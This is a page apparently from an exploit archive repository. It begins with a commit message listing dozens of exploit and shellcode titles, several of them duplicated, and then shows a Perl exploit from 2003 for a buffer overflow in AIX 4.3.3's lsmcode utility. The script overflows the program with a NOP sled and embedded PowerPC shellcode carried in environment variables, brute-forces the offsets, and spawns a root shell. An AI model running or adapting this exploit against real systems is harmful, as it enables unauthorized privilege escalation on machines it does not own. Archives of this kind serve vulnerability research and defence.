880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
49 lines
No EOL
1.7 KiB
Perl
Executable file
49 lines
No EOL
1.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7871/info
|
|
|
|
Insufficient bounds checking in the lsmcode utility will allow locally based attackers to cause memory to be corrupted with attacker-supplied data. As a result, it is possible to exploit this condition to execute arbitrary attacker-supplied instructions with elevated privileges.
|
|
|
|
#!/usr/bin/perl
|
|
# FileName: x_lsmcode_aix4x.pl
|
|
# Exploit lsmcode of Aix4.3.3 to get a uid=0 shell.
|
|
# Tested : on Aix4.3.3.Mybe can work on other versions.
|
|
# Author : watercloud@xfocus.org
|
|
# Site : www.xfocus.org www.xfocus.net
|
|
# Date : 2003-6-1
|
|
# Announce: use as your owner risk!
|
|
|
|
$CMD="/usr/sbin/lsmcode";
|
|
$_=`/usr/bin/oslevel`;
|
|
|
|
$XID="\x03";
|
|
$UID="\x97";
|
|
print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
|
|
print "From: [ www.xfocus.org 2003-6-1 ].\n\n";
|
|
|
|
$NOP="\x7c\xa5\x2a\x79"x800;
|
|
%ENV=();
|
|
|
|
$ENV{CCC}="A" .$NOP.&getshell($XID,$UID);
|
|
$ENV{DIAGNOSTICS}="\x2f\xf2\x2a\x2f"x300;
|
|
$ret = system $CMD ,"-d","a";
|
|
|
|
for($i=0;$i<4 && $ret;$i++){
|
|
for($j=0;$j<4 && $ret;$j++) {
|
|
$ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
|
|
$ENV{DIAGNOSTICS}="A"x $j ."\x2f\xf2\x2a\x2f"x300;
|
|
$ret = system $CMD ,"-d","a";
|
|
}
|
|
}
|
|
|
|
#sub
|
|
sub getshell($XID,$GID) {
|
|
my $SHELL,($XID,$GID)=@_;
|
|
$SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
|
|
$SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
|
|
$SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
|
|
$SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
|
|
$SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
|
|
$SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
|
|
$SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
|
|
return $SHELL;
|
|
}
|
|
#EOF |